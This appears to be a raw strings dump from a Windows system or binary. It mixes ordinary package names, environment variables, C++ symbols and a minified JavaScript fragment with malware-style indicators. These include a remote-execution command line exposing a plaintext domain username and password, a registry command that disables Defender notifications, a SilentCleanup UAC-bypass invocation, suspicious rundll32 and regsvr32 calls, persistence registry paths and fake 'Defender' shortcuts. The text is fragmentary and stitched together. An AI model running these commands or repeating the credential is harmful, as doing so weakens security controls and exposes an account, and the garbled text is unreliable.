Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package-Wrapper~31bf3856ad364e35~amd64~~0.0.0.0
Microsoft-Windows-LanguageFeatures-Basic-en-gb-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824p
ms-windows-store-deskext
 Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742K
.Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.17420
windows.protocol
windows.protocol
mswindowsmusic
mswindowsmusic
WINDOWS11
MicrosoftWindows.CrossDevice_0.25062.28.0_neutral_split.scale-125_cw5n1h2txyewy
Microsoft.WindowsNotepad_8wekyb3d8bbwe
%SystemRoot%/system32/spool/DRIVERS/x64/{0126CB1B-8095-4CBB-AC93-49BF83351DF0}/PrintConfig.dllh
%SystemRoot%/system32/spool/DRIVERS/x64/{0126CB1B-8095-4CBB-AC93-49BF83351DF0}/MXDWDRV.DLL
Windows ARM64
Windows NT x86
Windows IA64
Windows x64
%SystemRoot%/system32/spool/DRIVERS/W32X86/{5A9F2DC0-B57D-4B87-B1F9-BF4FB18FCCA8}/unishare-pipelineconfig.xml
%SystemRoot%/system32/spool/DRIVERS/W32X86/{5A9F2DC0-B57D-4B87-B1F9-BF4FB18FCCA8}/unishare.gpd
%SystemRoot%/system32/spool/DRIVERS/W32X86/{5A9F2DC0-B57D-4B87-B1F9-BF4FB18FCCA8}/PrintConfig.dll
%SystemRoot%/system32/spool/DRIVERS/W32X86/{5A9F2DC0-B57D-4B87-B1F9-BF4FB18FCCA8}/MXDWDRV.DLL
telemetry.ASM-WindowsDefault
WINDOWS.DIAGNOSTICS
WINDOWS.PERFTRACKESCALATIONS
WINDOWS.PERFTRACKPOINTDATA
WINDOWS.SIUF
%SystemRoot%/system32/spool/DRIVERS/x64/{BB63CEEB-D7E7-4780-8860-91DBE3CEA005}/unishare-pipelineconfig.xml
%SystemRoot%/system32/spool/DRIVERS/x64/{BB63CEEB-D7E7-4780-8860-91DBE3CEA005}/unishare.gpd
%SystemRoot%/system32/spool/DRIVERS/x64/{BB63CEEB-D7E7-4780-8860-91DBE3CEA005}/PrintConfig.dll
%SystemRoot%/system32/spool/DRIVERS/x64/{BB63CEEB-D7E7-4780-8860-91DBE3CEA005}/MXDWDRV.DLL
%SystemRoot%/system32/spool/DRIVERS/W32X86/{BAFEF609-B017-4547-A020-3AD4E2C6AC43}/unishare-pipelineconfig.xml
%SystemRoot%/system32/spool/DRIVERS/W32X86/{BAFEF609-B017-4547-A020-3AD4E2C6AC43}/unishare.gpd
%SystemRoot%/system32/spool/DRIVERS/W32X86/{BAFEF609-B017-4547-A020-3AD4E2C6AC43}/PrintConfig.dll
%SystemRoot%/system32/spool/DRIVERS/W32X86/{BAFEF609-B017-4547-A020-3AD4E2C6AC43}/MXDWDRV.DLL
Windows
LOGONSERVER=\\WINDOWS11
USERDOMAIN=Windows11
windir=C:\WINDOWS
SystemRoot=C:\WINDOWS
COMPUTERNAME=WINDOWS11
SoftWare\MicroSoft\Windows\CurrentVersion\Run
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwex
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwex
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwex
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe
MsixRegistryCompatibility.EntryPath.Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwex
Microsoft.WindowsNotepad_11.2510.14.0_x64__8wekyb3d8bbwe
MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewy
Microsoft.Windows.Photos_8wekyb3d8bbweweh
Microsoft.Windows.Photos_24.24070.23002.0_neutral_~_8wekyb3d8bbwe
Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwek
Microsoft.Windows.NarratorQuickStart_10.0.26100.1_neutral_neutral_8wekyb3d8bbwe
MicrosoftWindows.Client.WebExperience_526.1202.40.0_neutral_~_cw5n1h2txyewywy=
Microsoft.Windows.SecureAssessmentBrowser_10.0.26100.1_neutral_neutral_cw5n1h2txyewy6
Microsoft.Windows.XGpuEjectDialog_10.0.26100.1_neutral_neutral_cw5n1h2txyewy8
Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe
MicrosoftWindows.57242383.Tasbar_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.59336768.Speion_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.59337133.Voiess_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.59337145.Livtop_1000.26100.7824.0_x64__cw5n1h2txyewy
Microsoft.WindowsAppRuntime.1.7_7000.770.750.0_x64__8wekyb3d8bbwe
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy
windows.immersivecontrolpanel_cw5n1h2txyewy
Windows-Defender-Default-DefinitionsP
.exe\\%%a-u"itamana.net\mbajunaid"-p"plwsr2mt12st115519864"-s-dc:\\windows\\temp\\servicesZ
Windows.Settings.SearchData
Windows.Settings.Account
Windows.Shell.StartMenu
Windows.AccountControl8
Windows\CurrentVersion\Ext\Stats\%s\iexplore!LastMSHTMLVersionPolicyBlockedAddonPrompted
HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Associations!DefaultFileTypeRisk
HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations!DefaultFileTypeRisk
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\QUERY!RegPoliciesPath
%IEProfile_InternetSettings%\SO\MISC\DRAGDROP_XDOM_ACROSSWINDOWS\DISABLE!RegPoliciesPath
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\ENABLE!RegPoliciesPath
%IEProfile_InternetSettings%\SO\WINFX\WINDOWS_BROWSER_APPLICATIONS\DISABLE!RegPoliciesPath
Microsoft.WindowsStore_22512.1401.6.0_neutral_~_8wekyb3d8bbw
3^Microsoft.Windows.AppResolverUX
U?$default_delete@VXamlCore@Windows
=(microsoftoffice/16.0(windowsnt10.0;microsoftoutlook16.0.4849;pro)
\windows\explorer.exe".\\.__macos__\.__macos__\.__macosx_\
`/run/tn\microsoft\windows\diskcleanup\silentcleanup/i
6setlocalset"fugues=c:\windows\temp\
=new-objectwindows.security.credentials.passwordvault
jc:\windows\system32\rundll32.exesol3nia.dll,runobject
c:\windows\system32\rundll32.exetoso3l.dll,lyirjcyvgh
>c:\windows\
\currentversion\windows\appinit_dlls
%P\Windows PC Defender.lnk
[\Windows PC Defender.lnk
\Windows PC Defender.lnk
x\Windows System Defender.lnk
j\Windows System Defender.lnk
\Windows System Defender.lnk
C\Windows Enterprise Suite.lnk
,\Windows Enterprise Suite.lnk
\Windows Enterprise Suite.lnk
ozilla/5.0 (Windows NT 10.0; Win64; x
tings_Account","c:FlightIds","r:WSX_Runtime","r:WSX_Windows_Shell_Start","r:WSX_Windows_AppSample","r:WSX_Windows_AccountControl"],"SERVICING_CBS":["+WU","osVeriw_
wow64_windows-gaming-ui-gamebar-component_31bf3856ad364e35_none_4792ef090ba44d6c
wow64_windows-id-connecte..nt-provider-wlidres_31bf3856ad364e35_none_142078110bc138ea
wow64_windows-id-connecte..ovider-wlidcredprov_31bf3856ad364e35_none_ec80b1c205cc2fd3
wow64_windows-id-connecte..provider-msauserext_31bf3856ad364e35_none_bed30cb0a8ad630b
wow64_windows-id-connecte..r-configuration-int_31bf3856ad364e35_none_351d72e4cd395986
wow64_windows-id-connecte..t-provider-wlidprov_31bf3856ad364e35_none_abc9e8bc8348b3b9
wow64_windows-internal-ga..forcefeedback-winrt_31bf3856ad364e35_none_8ad5fd4dc996e19b
wow64_windows-management-..e-workplacesettings_31bf3856ad364e35_none_e336a9b327fe71d2
wow64_windows-media-faceanalysis_31bf3856ad364e35_none_d7bca7a86ba811aa
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
temRoot%\system32\mswsock.dll
WindowsRuntime
.C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
windows.protocol
WindowsMitigation
MicrosoftWindows.59379618.InpApp_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.CoreAI_1000.26100.7824.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.FileExp_1000.26100.4.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy
MicrosoftWindows.Client.Photon_1000.26100.10.0_x64__cw5n1h2txyewy
C:\WINDOWS\system32\msvcp140_2.dll
C:\WINDOWS\system32\msvcp140_atomic_wait.dll
C:\WINDOWS\system32\vcomp140.dll
DC:\WINDOWS\system32\msvcp140_codecvt_ids.dll
QC:\WINDOWS\system32\concrt140.dll
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDO5
OWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
windir=C:\WINDOWS
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11
Microsoft.WindowsAppRuntime.1.6_6000.401.2352.0_x64__8wekyb3d8bbwe
c:/windows/system32/dL
c:/windows/system32/d
@%windir%\system32\S	
WINDOWS\system32\config
GetWindowSize
OS=Windows_NT
tionCompletedHandler@PE$AAVGetEntitlementResult@InstallControl@Preview@Store@ApplicationModel@Windows@@@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAU?$IVectorView@PE$AAVAppInstallItem@InstallControl@Preview@Store@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVAppInstallItem@InstallControl@Preview@Store@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVAppInstallItem@InstallControl@Preview@Store@ApplicationModel@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAVGetEntitlementResult@InstallControl@Preview@Store@ApplicationModel@Windows@@@Foundation@Windows@@
WindowScrim
.?AU?$__abi_FunctorCapture@V<lambda_a9dcfaaa5a1b8146fac42e10ba50f53e>@@XPE$AAU?$IAsyncOperation@PE$AAVUnifiedTileManager@UnifiedTile@Shell@WindowsInternal@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_c0e9c5fa386a998793ccf0720483e6f8>@@XPE$AAUIAsyncAction@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
{Windows
\WindowsPowerShell\.
s;C:\WINDOWS\system32.
SystemRoot=C:\WINDOWS
Microsoft.OutlookForWindows_1.2026.210.300_x64__8weky
contents-search-windows.com/
WINDOWS\system32\config
OS=Windows_NT
windir=C:\WINDOWS
USERNAME=WINDOWS11$
TEMP=C:\WINDOWS\TEMP
WINDOWS11
SystemRoot=C:\WINDOWS
s","c:\windows\system32\drivers\etc\(
winlogon\notify\%
?]%d.exe%d.tmphttp://%smozilla/4.0 (compatible; msie 6.0; windows nt 5.2; sv1; 
WindowsOobeAppHosts
Windows\System32\
WINDOWS\SERVIC~1\NETWOR~1\App
C:\WINDOWS\System32\msdtc.exe,
WINDOWS11
The Win32_UserProfile class contains information about user profiles on a Windows system.
.?AU?$__abi_FunctorCapture@V<lambda_9873897fe4fc6ba76edee7ba38e7fa4c>@@XPE$AAUIBackgroundTaskInstance@Background@ApplicationModel@Windows@@W4BackgroundTaskCancellationReason@345@@Details@Platform@@
(_ergedRouteEnabled()){n.config.enableDSBFallbackLogs&&n.DSBLogError("DSBMergedFallbackToV1V2_InvalidDSBContent","Request Url: "+i+"; TraceID: "+u+"; StatusCode: "+(t===null||t===void 0?void 0:t.status)+"; Data: "+JSON.stringify(h));this.isDSBMergedCallSuccess=-1;this.setDSBSearchFallbackStatus("FallbacktoV2");i=this.composeDSBUrlParams(this.dsbBaseUrl);r=1;f=this.getDSBHeaders();try{if(t=await fetch(i,{headers:f}),t.ok){try{c=await t.json();h=c}catch(l){return this.instrumentDSBFallback(8,r,h),n.config.enableDSBFallbackLogs&&n.DSBLogError("DSBFallback_FailedToRead_FallbackRequest","Request Url: "+i+"; TraceID: "+u+"; StatusCode: "+(t===null||t===void 0?void 0:t.status)+"; Response Json: "+JSON.stringify(c)+"; Exception: "+l),!1}return(this.isValidDSBMultiMomentsContent(h)||(this.instrumentDSBFallback(9,r,h,h===null||h===void 0?void 0:h.ServerImpressionGuid),n.config.enableDSBFallbackLogs&&n.DSBLogError("DSBFallback_InvalidDSBContent_FallbackRequest","Request Url: "+i+"; TraceID: "+u+"; StatusCode: "+(t===null||t===void 0?void 0:t.status)+"; Data: "+JSON.stringify(h))),this.handleMultiMomentsFetched(h,s,1),n.isDSBFullWidthFlightEnabled()&&(n.config.enableDsbFetchNRenderTelemetry&&(r=3),await this.fetchDSBMiniserp()),!this.multiMomentsDataModel)?(n.DSBLogError("fetchDSBDataMissing",`Missing DSB content in response from workflow ${r} `),!1):!0}return this.instrumentDSBFallback(4,r),n.config.enableDSBFallbackLogs&&n.DSBLogError("DSBFallback_FailedToFetch_FallbackRequest","Request Url: "+i+"; TraceID: "+u+"; StatusCode: "+(t===null||t===void 0?void 0:t.status)),!1}catch(l){return this.instrumentDSBFallback(5,r),n.config.enableDSBFallbackLogs&&n.DSBLogError("DSBFallback_FailedToParse_FallbackRequest","Request Url: "+i+"; Headers: "+JSON.stringify(f)+"; TraceID: "+u+"; Exception: "+l+"; Is Browser Online: "+n.isBrowserOnline()),!1}}else this.instrumentDSBFallback(9,r,h,h===null||h===void 0?void 0:h.ServerImpressionGuid),n.config.enableDSBFallbackLogs&&n.DSBLogError("DSBFallback_InvalidDSBContent_InitialRequest","Request Url: "+i+"; TraceID: "+u+"; StatusCode: "+(t===null||t===void 0?void 0:t.status)+"; Data: "+JSON.stringify(h));return(this.handleMultiMomentsFetched(h,s,r),!this.multiMomentsDataModel)?(n.DSBLogError("fetchDSBDataMissing",`Missing DSB content in response from workflow ${r} `),!1):!0}this.instrumentDSBFallback(4,r);n.config.enableDSBFallbackLogs&&n.DSBLogError("DSBFallback_FailedToFetch_InitialRequest","Request Url: "+i+"; TraceID: "+u+"; StatusCode: "+(t===null||t===void 0?void 0:t.status))}catch(h){return this.instrumentDSBFallback(5,r),n.config.enableDSBFallbackLogs&&n.DSBLogError("DSBFallback_FailedToParse_InitialRequest","Request Url: "+i+"; Headers: "+JSON.stringify(f)+"; TraceID: "+u+"; Exception: "+h+"; Is Browser Online: "+n.isBrowserOnline()),!1}finally{n.config.enableDsbFetchNRenderTelemetry&&this.instrumentFetch(s,n.getCurrentTime(),r)}return!1}async fetch3pGleamSchema(t){var r;let i=t.dynamicContentEndpoint;if(!i)return!1;const u=n.getCurrentDateDSB();let f=u.toLocaleString("en-US");const e=[{key:"cc",value:n.Host.getRegion()},{key:"setlang",value:n.getCurrentLanguage()},{key:"dateTime",value:encodeURIComponent(f)},{key:"deviceOs",value:n.config.useCobaltCSS?"windows11":"windows10"},{key:"schemaversion",value:n.Host.get3pGleamSchemaVersion()},{key:"gleam",value:"1"}];e.forEach(n=>{i=ThresholdUtilities.setUrlParameter(i,n.key,n.value)});try{let u=await fetch(i),f,e;if(u.ok)try{e=await u.json();f=e;let n=this.get3pGleamCache(t);return n&&(n===null||n===void 0?void 0:n.telemetryId)===(f===null||f===void 0?void 0:f.telemetryId)?!0:(this.set3pGleamToCache(t,f),!0)}catch(o){if(n.config.disableWSBServerTelemetry)return!1;if(this.instrumentDSBFallback(4),n.config.enableDSBFallbackLogs){let t=(r=u===null||u===void 0?void 0:u.headers)===null||r===void 0?void 0:r.get("x-eventid");n.DSBLogError("DSBFallback_FailedToFetch_Gleam","Request Url: "+i+"; TraceID: "+t+"; StatusCode: "+(u===null||u===void 0?void 0:u.status)+"; Response Json: "+JSON.stringify(e)+"; Exception: "+o)}return!1}}catch(o){return n.config.disabledirector.GPAL!MTB
	-r	Register as a Windows r
.?AU?$_IAsyncOperationWithProgressToAsyncOperationConverter@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@@details@Concurrency@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAVPushNotificationChannel@PushNotifications@Networking@Windows@@@details@Concurrency@@@std@@
.?AU?$_AsyncInfoImpl@PE$AAU?$IAsyncOperationWithProgress@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@@Foundation@Windows@@V?$AsyncOperationWithProgressCompletedHandler@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@@23@PE$AAVHttpResponseMessage@Http@Web@3@@details@Concurrency@@
.?AU__I?$_IAsyncOperationWithProgressToAsyncOperationConverter@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@PublicNonVirtuals@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAVHttpResponseMessage@Http@Web@Windows@@@Foundation@Windows@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAVHttpResponseMessage@Http@Web@Windows@@@details@Concurrency@@@std@@
.?AU__abi_IDelegate@?$AsyncOperationWithProgressCompletedHandler@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@@Foundation@Windows@@
.?AV?$AsyncOperationWithProgressCompletedHandler@PE$AAVHttpResponseMessage@Http@Web@Windows@@VHttpProgress@234@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAVHttpResponseMessage@Http@Web@Windows@@@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAVHttpResponseMessage@Http@Web@Windows@@@details@Concurrency@@
.?AU?$_Task_impl@PE$AAVPushNotificationChannel@PushNotifications@Networking@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAVPushNotificationChannel@PushNotifications@Networking@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAVPushNotificationChannel@PushNotifications@Networking@Windows@@@Foundation@Windows@@
ncy@@@?$task@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Concurrency@@
.?AV?$_Ref_count_obj@V?$vector@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@V?$allocator@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@std@@@std@@@std@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Foundation@Windows@@
.?AUIBindableIterator@Interop@Xaml@UI@Windows@@
.?AU?$IIterator@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@
.?AU__I?$IteratorForVectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PublicNonVirtuals@Details@Collections@Platform@@
.?AV?$IteratorForVectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Details@Collections@Platform@@
.?AUIBindableVectorView@Interop@Xaml@UI@Windows@@
.?AU?$IVectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@
.?AU__I?$VectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@U?$equal_to@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@std@@PublicNonVirtuals@Collections@Platform@@
.?AV?$VectorView@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@U?$equal_to@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@std@@@Collections@Platform@@
.?AU?$_Task_impl@PE$AAU?$IVectorView@PE$AAVStorageFile@Storage@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVStorageFile@Storage@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAVStorageFile@Storage@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@details@Concurrency@@
.?AU__abi_IDelegate@?$AsyncOperationWithProgressCompletedHandler@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@@Foundation@Windows@@
.?AV?$AsyncOperationWithProgressCompletedHandler@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@PE$AAV1234@@Foundation@Windows@@
.?AU__abi_IDelegate@?$VectorChangedEventHandler@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@
.?AV?$VectorChangedEventHandler@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@
.?AU?$IBoxArray@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Platform@@
.?AU__I?$Array@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@$00PublicNonVirtuals@Platform@@
.?AV?$Array@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@$00@Platform@@
.?AUIBindableIterable@Interop@Xaml@UI@Windows@@
.?AUIBindableVector@Interop@Xaml@UI@Windows@@
.?AUIBindableObservableVector@Interop@Xaml@UI@Windows@@
.?AU?$IObservableVector@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@
.?AU?$IIterable@PE$AAVDownloadOperation@BackgroundTransfer@Networking@Windows@@@Collections@Foundation@Windows@@
MicrosoftWindowsDefenderClient-
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>,struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection>::GetResults(void) const
auto __cdecl winrt::impl::await_adapter<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::SharedUtilities::Stub::BackgroundTasks::Utilities::CdmConnection> >::await_resume(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<bool>,bool>::GetResults(void) const
auto __cdecl winrt::impl::await_adapter<struct winrt::Windows::Foundation::IAsyncOperation<bool> >::await_resume(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_IPackage<struct winrt::Windows::ApplicationModel::IPackage>::Id(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_IPackageId<struct winrt::Windows::ApplicationModel::IPackageId>::FamilyName(void) const
auto __cdecl winrt::impl::consume_Windows_Management_Deployment_IPackageManager9<struct winrt::Windows::Management::Deployment::PackageManager>::SetPackageStubPreference(const struct winrt::param::hstring &,const enum winrt::Windows::Management::Deployment::PackageStubPreference &) const
auto __cdecl winrt::impl::consume_Windows_Services_Store_IStoreContext3<struct winrt::Windows::Services::Store::StoreContext>::CanSilentlyDownloadStorePackageUpdates(void) const
auto __cdecl winrt::impl::consume_Windows_Services_Store_IStoreContext<struct winrt::Windows::Services::Store::IStoreContext>::GetAppAndOptionalStorePackageUpdatesAsync(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperation<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::Windows::Services::Store::StorePackageUpdate> >,struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::Windows::Services::Store::StorePackageUpdate> >::GetResults(void) const
auto __cdecl winrt::impl::await_adapter<struct winrt::Windows::Foundation::IAsyncOperation<struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::Windows::Services::Store::StorePackageUpdate> > >::await_resume(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IVectorView<struct winrt::Windows::Foundation::Collections::IVectorView<struct winrt::Windows::Services::Store::StorePackageUpdate>,struct winrt::Windows::Services::Store::StorePackageUpdate>::GetAt(unsigned int) const
auto __cdecl winrt::impl::consume_Windows_Services_Store_IStorePackageUpdate<struct winrt::Windows::Services::Store::IStorePackageUpdate>::Package(void) const
auto __cdecl winrt::impl::consume_Windows_ApplicationModel_IPackage4<struct winrt::Windows::ApplicationModel::Package>::IsOptional(void) const
auto __cdecl winrt::impl::consume_Windows_Foundation_Collections_IVector<struct winrt::Windows::Foundation::Collections::IVector<struct winrt::Windows::Services::Store::StorePackageUpdate>,struct winrt::Windows::Services::Store::StorePackageUpdate>::Append(const struct winrt::Windows::Services::Store::StorePackageUpdate &) const
auto __cdecl winrt::impl::consume_Windows_Services_Store_IStoreContext3<struct winrt::Windows::Services::Store::StoreContext>::TrySilentDownloadAndInstallStorePackageUpdatesAsync(const struct winrt::param::async_iterable<struct winrt::Windows::Services::Store::StorePackageUpdate> &) const
auto __cdecl winrt::impl::consume_Windows_Foundation_IAsyncOperationWithProgress<struct winrt::Windows::Foundation::IAsyncOperationWithProgress<struct winrt::Windows::Services::Store::StorePackageUpdateResult,struct winrt::Windows::Services::Store::StorePackageUpdateStatus>,struct winrt:cI
SetExclusiveWindowSize
n[xawindowstyle
windows.hlp`
c:\windows\system32\
regadd"hklm\software\policies\microsoft\windowsdefender\reporting"/v"disableenhancednotifications"/treg_dword/d"1"/f
^Qzzone='hkey_current_user\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\internetsettings\\\\zones\\\\3';
verificationsteps</h4><pstyle="text-align:left;padding-left:10px;margin-bottom:5px;">1.presswindowsbutton<imgsrc
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
EnumWindows
@fskufc.7[cmd.exej-i9vc:\windows\syswow64\cmd.exe/q/cdiscoveries\pests.cmdc:\windows\system32\write.exe%systemroot%\system32\write.exe%systemroot%
roaming\microsoft\windows\system32r
.dat&&%windir%\system32\regsvr32%temp%\
windows password4
clientcore\windows\core\dispbroker\lib\autorotationpolicy.cpp
~bclientcore\windows\core\dispbroker\lib\topologypersistence.cpp
clientcore\windows\core\dispbroker\lib\ccdcdsj.cxx
b)clientcore\windows\core\dispbroker\lib\displaydiagnosticsmanager.cpp
clientcore\windows\core\dispbroker\lib\panelbufferingcontrolpolicy.cpp
clientcore\windows\core\dispbroker\lib\databasestore.cpp
Fshell\windowsuiimmersive\userinfo\usertiletask.cpp
shell\windowsuiimmersive\userinfo\userinfodialog.cpp
|Yshell\windowsuiimmersive\userinfo\setimagefeeddialog.cpp
shell\windowsuiimmersive\themes\themeassettask.cpp
clientcore\windows\core\dispbroker\inc\private\Utilities.h
clientcore\windows\core\dispbroker\lib\oswrappers.cpp
clientcore\windows\core\dispbroker\lib\service.cpp
Aclientcore\windows\core\dispbroker\lib\windows.devices.display.internal.displayglobalpreferencemanagerinternal.cpp
clientcore\windows\core\dispbroker\lib\globalbrokerinstance.cpp
clientcore\windows\core\dispbroker\lib\windows.devices.display.internal.displaymuxapppreference.cpp
clientcore\windows\core\dispbroker\lib\windows.devices.display.internal.virtualmonitorset.cpp
windows
ndation@Windows@4@UIDetailsPageViewModelStatics@34@Ustatic_lifetime@4@@impl@winrt@@
.?AU?$implements@UDetailsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@UIDetailsPageViewModelStatics@34@Ustatic_lifetime@4@@winrt@@
.?AU?$producer@UDetailsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UDetailsPageViewModel@factory_implementation@TaskManagerApp@winrt@@UIActivationFactory@Foundation@Windows@4@X@impl@winrt@@
.?AU?$produce@UDetailsPageViewModel@implementation@TaskManagerApp@winrt@@UINotifyPropertyChanged@Data@Xaml@UI@Windows@4@@impl@winrt@@
